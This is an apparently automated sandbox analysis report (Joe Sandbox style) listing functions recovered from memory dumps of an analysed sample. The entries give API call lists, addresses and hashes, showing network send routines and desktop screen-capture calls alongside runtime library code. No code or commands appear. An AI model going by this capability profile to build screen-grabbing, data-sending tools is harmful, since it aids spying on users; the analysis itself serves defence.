Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: ErrorLast$Heap$AllocFree
String ID:
API String ID: 1906775185-0
Opcode ID: 932990369cb7396857af15be64af0d1e6626fae99d2695f68e56f2cbc7d09c05
Instruction ID: 65afc4091d9eb9698985674db7ba842a86aea3f9078f96db6e7a0c05be0c912b
Opcode Fuzzy Hash: 932990369cb7396857af15be64af0d1e6626fae99d2695f68e56f2cbc7d09c05
Instruction Fuzzy Hash: 15110A36E055189B8730EE69F8C8AFEB7A8EFC4372B5805B6ED0DD7200D735891546D0

Function 0377DE70 Relevance: 6.1, APIs: 4, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0377DE93
_free.LIBCMT ref: 0377DED5
GetProcessHeap.KERNEL32(00000000,00000000,0377DC95), ref: 0377DEFC
HeapFree.KERNEL32(00000000), ref: 0377DF03

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Heap_free$FreeProcess
String ID:
API String ID: 1072109031-0
Opcode ID: 7aeb1aff4e6529adf67f328b9ab445bbd00e55e4b96b58b2397cee3c7a81be1a
Instruction ID: 671f3382f3a6f4780610e5a2568e359b751a395cacbaf6cda57fadb0d9cc84a0
Opcode Fuzzy Hash: 7aeb1aff4e6529adf67f328b9ab445bbd00e55e4b96b58b2397cee3c7a81be1a
Instruction Fuzzy Hash: B3112B75600700ABDB31DB65CD49F67B3AABF84710F18891CE59A87A90D7B4F842CB91

Function 03773BF0 Relevance: 6.1, APIs: 4, Instructions: 58networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(?,03773ABB,00000023), ref: 03773C02
WSAGetLastError.WS2_32 ref: 03773C0D
send.WS2_32(?,00000000,00000000,00000000), ref: 03773C58
WSAGetLastError.WS2_32 ref: 03773C63

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: ErrorLast$EventSelectsend
String ID:
API String ID: 259408233-0
Opcode ID: ad076b65693530555dfec912aa4ac8553ae87b91e0565c05fc920ef8f4390118
Instruction ID: e5c1f1dc5452c9ce800a9aa5d9ab30bff8e2d384afa2f7e27a57630e239e3d64
Opcode Fuzzy Hash: ad076b65693530555dfec912aa4ac8553ae87b91e0565c05fc920ef8f4390118
Instruction Fuzzy Hash: 9511A3B5600700ABEB20EF79D888A57B6FDFB8C710F114A2DF656C7680D735E4009B90

Function 02C63BF0 Relevance: 6.1, APIs: 4, Instructions: 58networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(?,02C63ABB,00000023), ref: 02C63C02
WSAGetLastError.WS2_32 ref: 02C63C0D
send.WS2_32(?,00000000,00000000,00000000), ref: 02C63C58
WSAGetLastError.WS2_32 ref: 02C63C63

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: ErrorLast$EventSelectsend
String ID:
API String ID: 259408233-0
Opcode ID: f32e0a5c443ec25fac3aa32c9f6b28069578856e6b752a30b81a3c8ee4901779
Instruction ID: 1b2d0a9b6bab8553ca42ec2826ca5d6390b875636b2ae47c314b0a2ca6a927d1
Opcode Fuzzy Hash: f32e0a5c443ec25fac3aa32c9f6b28069578856e6b752a30b81a3c8ee4901779
Instruction Fuzzy Hash: E5113AB6A00B406BD3209B79D8CCA67B6EABB88B15B410A2DF957C3A80D771E5409B50

Function 0378BDEB Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0378BE11

Part of subcall function 0378BC3D: __fltout2.LIBCMT ref: 0378BC68

__cftog_l.LIBCMT ref: 0378BE37
__cftoe_l.LIBCMT ref: 0378BE69

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 7936d49148215cbff505b59613dd27cbdee9664500c8d34c0a147f42681ebec0
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: FD11393608014EBFCF26AF84CC55CEE3F66BF19650F588455FA2859130C736C5B1AB91

Function 02BDF338 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 02BDF35E

Part of subcall function 02BDF18A: __fltout2.LIBCMT ref: 02BDF1B5

__cftog_l.LIBCMT ref: 02BDF384
__cftoe_l.LIBCMT ref: 02BDF3B6

Memory Dump Source

Source File: 00000004.00000002.4154101487.0000000002BD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bd0000_UNK_.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: cf095ef20f9a9a86753c694762cb424fbaa4791c992c05924ae3b561c432b5c3
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 31114E3200814ABBCF165E84CC15CEE3F23BF18364B598995FE1959430E73AC6B1AB81

Function 0360B7AA Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0360B7D0

Part of subcall function 0360B5FC: __fltout2.LIBCMT ref: 0360B627

__cftog_l.LIBCMT ref: 0360B7F6
__cftoe_l.LIBCMT ref: 0360B828

Memory Dump Source

Source File: 00000004.00000002.4158929233.00000000035F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 035F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35f0000_UNK_.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 1c9ab12ccdbef4d6f61dd9a496d9504f8ecdacac0bbcb1364c79e1790468d3f0
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: EB117E7604014EBBCF1A9F84CD56CEE3F26FB08250F088424FA285A170D236C5B1AB85

Function 02C6F361 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 02C6F387

Part of subcall function 02C6F1B3: __fltout2.LIBCMT ref: 02C6F1DE

__cftog_l.LIBCMT ref: 02C6F3AD
__cftoe_l.LIBCMT ref: 02C6F3DF

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 2efe66f2a7fee8da3c8e4974991e675b0dce1a913e27a62764fb3a1baf02dd0e
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 3A114E3604014AFBCF125E84DC99CEE3F27BB58358F49842AFA1959430D336C6B2AF81

Function 037741E0 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(03774FB5,03774E55,037742BE,00000000,?,?,03774E55,?,?,?,?,00000000,000000FF), ref: 037741E8
LeaveCriticalSection.KERNEL32(03774FB5,?,?,?,00000000,000000FF), ref: 037741F6
LeaveCriticalSection.KERNEL32(03774FB5), ref: 03774257
SetEvent.KERNEL32(8520468B), ref: 03774272

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CriticalSection$Leave$EnterEvent
String ID:
API String ID: 3394196147-0
Opcode ID: 39769d5a8b6d0137c5fc2b0431d7da493a45347c7e7f492c728e764b803adde2
Instruction ID: 5db7b54827e7f219afadfa4a7210d5d3c7f5fb84b68b0cddce2753dfc08c4226
Opcode Fuzzy Hash: 39769d5a8b6d0137c5fc2b0431d7da493a45347c7e7f492c728e764b803adde2
Instruction Fuzzy Hash: 341118B0601B05AFDB25DF75D584A96B7E9BF48300B15C96EE45E8B211EB35E812CB00

Function 03774B00 Relevance: 6.0, APIs: 4, Instructions: 45timeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(00000001,?,00000001,?,03773C4F,?,?,00000001), ref: 03774B15
InterlockedIncrement.KERNEL32(00000001), ref: 03774B24
InterlockedIncrement.KERNEL32(00000001), ref: 03774B31
timeGetTime.WINMM(?,03773C4F,?,?,00000001), ref: 03774B48

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: IncrementInterlockedTimetime
String ID:
API String ID: 159728177-0
Opcode ID: 2d29f950abcb92e1be7bc8aed5159d0e1a87a3e91a497eaf2c54820556c93cba
Instruction ID: c5be0eff06ee298ab060f89ae2d84b9ab0a15a166a78ba91c6ae20c8bc27c3a1
Opcode Fuzzy Hash: 2d29f950abcb92e1be7bc8aed5159d0e1a87a3e91a497eaf2c54820556c93cba
Instruction Fuzzy Hash: D701C8B5600709AFCB20EF7AD88094AFBE8AF5C650701892AE549C7611E674E5458FA0

Function 02C64AE0 Relevance: 6.0, APIs: 4, Instructions: 45timeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(00000001,?,00000001,?,02C63C4F,?,?,00000001), ref: 02C64AF5
InterlockedIncrement.KERNEL32(00000001), ref: 02C64B04
InterlockedIncrement.KERNEL32(00000001), ref: 02C64B11
timeGetTime.WINMM(?,02C63C4F,?,?,00000001), ref: 02C64B28

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: IncrementInterlockedTimetime
String ID:
API String ID: 159728177-0
Opcode ID: 6c38361ec67a061d6d8da1770e7457a37d7585e48e0688ca37b0a91043a776bb
Instruction ID: 7e25217407920401b2a38434738d53e748d40f331157772e524a2fa4254aa104
Opcode Fuzzy Hash: 6c38361ec67a061d6d8da1770e7457a37d7585e48e0688ca37b0a91043a776bb
Instruction Fuzzy Hash: 1A01DAB5A00705AFC720DF7AD880A5AFBF9BF98750750892EE549C7600E774E6448FE0

Function 03773660 Relevance: 6.0, APIs: 4, Instructions: 42timeCOMMON

Download Yara Rule

APIs

CreateWaitableTimerW.KERNEL32(00000000,00000000,00000000), ref: 03773667
_free.LIBCMT ref: 0377369C

Part of subcall function 0377F639: RtlFreeHeap.NTDLL(00000000,00000000,?,03783E4C,00000000,?,03784500,00000000,00000001,00000000,?,03788DE6,00000018,03796448,0000000C,03788E76), ref: 0377F64F
Part of subcall function 0377F639: GetLastError.KERNEL32(00000000,?,03783E4C,00000000,?,03784500,00000000,00000001,00000000,?,03788DE6,00000018,03796448,0000000C,03788E76,00000000), ref: 0377F661

_malloc.LIBCMT ref: 037736D7
_memset.LIBCMT ref: 037736E5

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CreateErrorFreeHeapLastTimerWaitable_free_malloc_memset
String ID:
API String ID: 3340475617-0
Opcode ID: 3806aae17cb98ad2d5c9e0c5e9638e05b579b1f73b3367de8ffb54a624c0172f
Instruction ID: f86e4025fb4765d16b546b26924c9c5ff16b33fb9cfcc3775034daa21520486e
Opcode Fuzzy Hash: 3806aae17cb98ad2d5c9e0c5e9638e05b579b1f73b3367de8ffb54a624c0172f
Instruction Fuzzy Hash: BA01DAF5900B04DFE760DF7A9885B97BBE9EB85214F14482ED5AEC7301D635A8058F60

Function 02C63660 Relevance: 6.0, APIs: 4, Instructions: 42timeCOMMON

Download Yara Rule

APIs

CreateWaitableTimerW.KERNEL32(00000000,00000000,00000000), ref: 02C63667
_free.LIBCMT ref: 02C6369C

Part of subcall function 02C66E49: HeapFree.KERNEL32(00000000,00000000,?,02C69900,00000000,?,02C69FB0,00000000,00000001,00000000,?,02C6C0CF,00000018,02C77C70,0000000C,02C6C15F), ref: 02C66E5F
Part of subcall function 02C66E49: GetLastError.KERNEL32(00000000,?,02C69900,00000000,?,02C69FB0,00000000,00000001,00000000,?,02C6C0CF,00000018,02C77C70,0000000C,02C6C15F,00000000), ref: 02C66E71

_malloc.LIBCMT ref: 02C636D7
_memset.LIBCMT ref: 02C636E5

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: CreateErrorFreeHeapLastTimerWaitable_free_malloc_memset
String ID:
API String ID: 3340475617-0
Opcode ID: c1320acf76272d252a2a9d4fbdc8f3bf32ca8fe7d766dd46f15975819a017d58
Instruction ID: cb6f9b9cc6d7edf5512332b7c3c6f93ba014364c024fc68dffa9a302cc1053fa
Opcode Fuzzy Hash: c1320acf76272d252a2a9d4fbdc8f3bf32ca8fe7d766dd46f15975819a017d58
Instruction Fuzzy Hash: 2501C4F1900B449FE3209F7AD8C5BA7BAE9EF85354F10482EE5AE83301D634A9048F60

Function 02BD6EEE Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 02BD6F08

Part of subcall function 02BD6E5A: __FF_MSGBANNER.LIBCMT ref: 02BD6E73
Part of subcall function 02BD6E5A: __NMSG_WRITE.LIBCMT ref: 02BD6E7A

std::exception::exception.LIBCMT ref: 02BD6F3D
std::exception::exception.LIBCMT ref: 02BD6F57
__CxxThrowException@8.LIBCMT ref: 02BD6F68

Memory Dump Source

Source File: 00000004.00000002.4154101487.0000000002BD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bd0000_UNK_.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw_malloc
String ID:
API String ID: 2388904642-0
Opcode ID: 1e9301e5085f9c58ec7a0ab4f7fc891bb570a668ba91a7db57855d99bd873ef8
Instruction ID: 612d9a7f7a48b13a53dc34b47475defd59ad095de0f701030faffb0870b5226f
Opcode Fuzzy Hash: 1e9301e5085f9c58ec7a0ab4f7fc891bb570a668ba91a7db57855d99bd873ef8
Instruction Fuzzy Hash: C4F02831404699A7DB00EB64EC84AED7BFEEB41314F1400A8E4149E0D1FFB1DAC1CB50

Function 035FF0C6 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 035FF0E0

Part of subcall function 035FF032: __FF_MSGBANNER.LIBCMT ref: 035FF04B
Part of subcall function 035FF032: __NMSG_WRITE.LIBCMT ref: 035FF052

std::exception::exception.LIBCMT ref: 035FF115
std::exception::exception.LIBCMT ref: 035FF12F
__CxxThrowException@8.LIBCMT ref: 035FF140

Memory Dump Source

Source File: 00000004.00000002.4158929233.00000000035F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 035F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35f0000_UNK_.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw_malloc
String ID:
API String ID: 2388904642-0
Opcode ID: b08fdf8cb5e3b65abb6e8e2bd981c9ae2de8ac343fbf2f6e0fd6789c4a68690e
Instruction ID: 19afa9154ab7612b7ca821b31126310de017f1f333c38a88e8386603f7ad02a2
Opcode Fuzzy Hash: b08fdf8cb5e3b65abb6e8e2bd981c9ae2de8ac343fbf2f6e0fd6789c4a68690e
Instruction Fuzzy Hash: 87F0F439800316AFDB15EB54FC15ABF7ABDFB80644F94406DDA01AA5F0DB718A02CB40

Function 0377CD80 Relevance: 6.0, APIs: 4, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 03771420: HeapFree.KERNEL32(?,00000000,?,?,?,037740B1,?,00000000,03774039,?,74DEDFA0,03773648), ref: 0377143D
Part of subcall function 03771420: _free.LIBCMT ref: 03771459

HeapDestroy.KERNEL32(00000000), ref: 0377CD93
HeapCreate.KERNEL32(?,?,?), ref: 0377CDA5
_free.LIBCMT ref: 0377CDB5
HeapDestroy.KERNEL32 ref: 0377CDE2

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Heap$Destroy_free$CreateFree
String ID:
API String ID: 4097506873-0
Opcode ID: dbda65b41be41c2e1996ce2aea4947b2ceae82acc09c81148f6578ba62458830
Instruction ID: f2cf59613ff713b301656ba0d24e1906d85e29f06e15309101aec7d536f2e25a
Opcode Fuzzy Hash: dbda65b41be41c2e1996ce2aea4947b2ceae82acc09c81148f6578ba62458830
Instruction Fuzzy Hash: 27F04FB9100706ABD710EF24E808B57FBB8FF44B10F158A19E859DB644D734E852CB90

Function 02C66490 Relevance: 6.0, APIs: 4, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02C61420: HeapFree.KERNEL32(?,00000000,?,?,?,02C640B1,?,00000000,02C64039,?,74DEDFA0,02C63648), ref: 02C6143D
Part of subcall function 02C61420: _free.LIBCMT ref: 02C61459

HeapDestroy.KERNEL32(00000000), ref: 02C664A3
HeapCreate.KERNEL32(?,?,?), ref: 02C664B5
_free.LIBCMT ref: 02C664C5
HeapDestroy.KERNEL32 ref: 02C664F2

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: Heap$Destroy_free$CreateFree
String ID:
API String ID: 4097506873-0
Opcode ID: 91ff612e470b53e669424ebc71a8820fdf192f272128dd722c17638c20c3315f
Instruction ID: bafd575229a192f45f716426cbabb80e16b40cbd5df4ef4caf8fa176f24858a1
Opcode Fuzzy Hash: 91ff612e470b53e669424ebc71a8820fdf192f272128dd722c17638c20c3315f
Instruction Fuzzy Hash: 67F037B5500702ABE720DF25E898B23B7F8FF84754F248918E859D3644DB39E855CBE0

Function 035F980F Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 302COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 035F997F

Part of subcall function 035FF032: __FF_MSGBANNER.LIBCMT ref: 035FF04B
Part of subcall function 035FF032: __NMSG_WRITE.LIBCMT ref: 035FF052

_memcpy_s.LIBCMT ref: 035F9B42

Strings

&, xrefs: 035F98A0

Memory Dump Source

Source File: 00000004.00000002.4158929233.00000000035F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 035F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35f0000_UNK_.jbxd

Similarity

API ID: _malloc_memcpy_s
String ID: &
API String ID: 3561290194-3042966939
Opcode ID: c8a5b5b6493a3e00500570122ab972c2785b00225f4301cae1c49e60748ae0d9
Instruction ID: 6b8e17329d542dd6fa5ea10c625e10778bda1bc1dfd24a3d39878f40feca980e
Opcode Fuzzy Hash: c8a5b5b6493a3e00500570122ab972c2785b00225f4301cae1c49e60748ae0d9
Instruction Fuzzy Hash: 4DC170F1A006199FDB24DF55DCC0BAAB7B8FB88300F1485ADD709A7261D734AA85CF64

Function 035FC2CF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

_wcsrchr.LIBCMT ref: 035FC386
_memset.LIBCMT ref: 035FC3C3

Strings

D, xrefs: 035FC3E2

Memory Dump Source

Source File: 00000004.00000002.4158929233.00000000035F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 035F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35f0000_UNK_.jbxd

Similarity

API ID: _memset_wcsrchr
String ID: D
API String ID: 1675014779-2746444292
Opcode ID: 9448fe74a29e6cb94ba3ba7ffaf0542041cc64757f3c043286b2e5ea21082185
Instruction ID: ffe59406dc0092a19d57dca6d10aa6e31a657f1bd1d9d11cc82acf1dc5f78109
Opcode Fuzzy Hash: 9448fe74a29e6cb94ba3ba7ffaf0542041cc64757f3c043286b2e5ea21082185
Instruction Fuzzy Hash: 4931E9729402187BE724D7A4AC8AFFF777CEB44710F140169FB0A9A1D0DA715906C7E5

Function 0377B19D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0377BC70: GetDesktopWindow.USER32 ref: 0377BC8F
Part of subcall function 0377BC70: GetDC.USER32(00000000), ref: 0377BC9C
Part of subcall function 0377BC70: CreateCompatibleDC.GDI32(00000000), ref: 0377BCA2
Part of subcall function 0377BC70: GetDC.USER32(00000000), ref: 0377BCAD
Part of subcall function 0377BC70: GetDeviceCaps.GDI32(00000000,00000008), ref: 0377BCBA
Part of subcall function 0377BC70: GetDeviceCaps.GDI32(00000000,00000076), ref: 0377BCC2
Part of subcall function 0377BC70: ReleaseDC.USER32(00000000,00000000), ref: 0377BCD3
Part of subcall function 0377BC70: GetSystemMetrics.USER32(0000004C), ref: 0377BD78
Part of subcall function 0377BC70: GetSystemMetrics.USER32(0000004D), ref: 0377BD8D
Part of subcall function 0377BC70: CreateCompatibleBitmap.GDI32(?,?,00000000), ref: 0377BDA6
Part of subcall function 0377BC70: SelectObject.GDI32(?,00000000), ref: 0377BDB4
Part of subcall function 0377BC70: SetStretchBltMode.GDI32(?,00000003), ref: 0377BDC0
Part of subcall function 0377BC70: GetSystemMetrics.USER32(0000004F), ref: 0377BDCD
Part of subcall function 0377BC70: GetSystemMetrics.USER32(0000004E), ref: 0377BDE0

Part of subcall function 0377F707: _malloc.LIBCMT ref: 0377F721

_memset.LIBCMT ref: 0377B1E1
swprintf.LIBCMT ref: 0377B204

Strings

%s %s, xrefs: 0377B1F3

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: MetricsSystem$CapsCompatibleCreateDevice$BitmapDesktopModeObjectReleaseSelectStretchWindow_malloc_memsetswprintf
String ID: %s %s
API String ID: 1028806752-581060391
Opcode ID: 702c72db160cd81a1c1fb5739f5aeb5435b8c006a9f8a2799fa0b4ffc2acae70
Instruction ID: 1d7fdcf5aa4454b06a2e44a982a0833d587dc5f19bd8873f214cfa8fb47e7a83
Opcode Fuzzy Hash: 702c72db160cd81a1c1fb5739f5aeb5435b8c006a9f8a2799fa0b4ffc2acae70
Instruction Fuzzy Hash: 6521F3B6A04340ABDB10EF14AC88E6FB7E8EFD9710F08056EF4895B201E6609904C7A3

Function 03779100 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 03779115

Part of subcall function 0377EF39: std::exception::exception.LIBCMT ref: 0377EF4E
Part of subcall function 0377EF39: __CxxThrowException@8.LIBCMT ref: 0377EF63
Part of subcall function 0377EF39: std::exception::exception.LIBCMT ref: 0377EF74

std::_Xinvalid_argument.LIBCPMT ref: 03779128

Strings

string too long, xrefs: 03779110, 03779123

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: string too long
API String ID: 963545896-2556327735
Opcode ID: 0b2ca60e89d21fafb96efad8324948de2346ef477880e8c920d577ed8d7b7a3d
Instruction ID: cba92930d61d5e7ce82b95ddba17a5e825d4b4e680d2e28d6ddcaf957cc4bf09
Opcode Fuzzy Hash: 0b2ca60e89d21fafb96efad8324948de2346ef477880e8c920d577ed8d7b7a3d
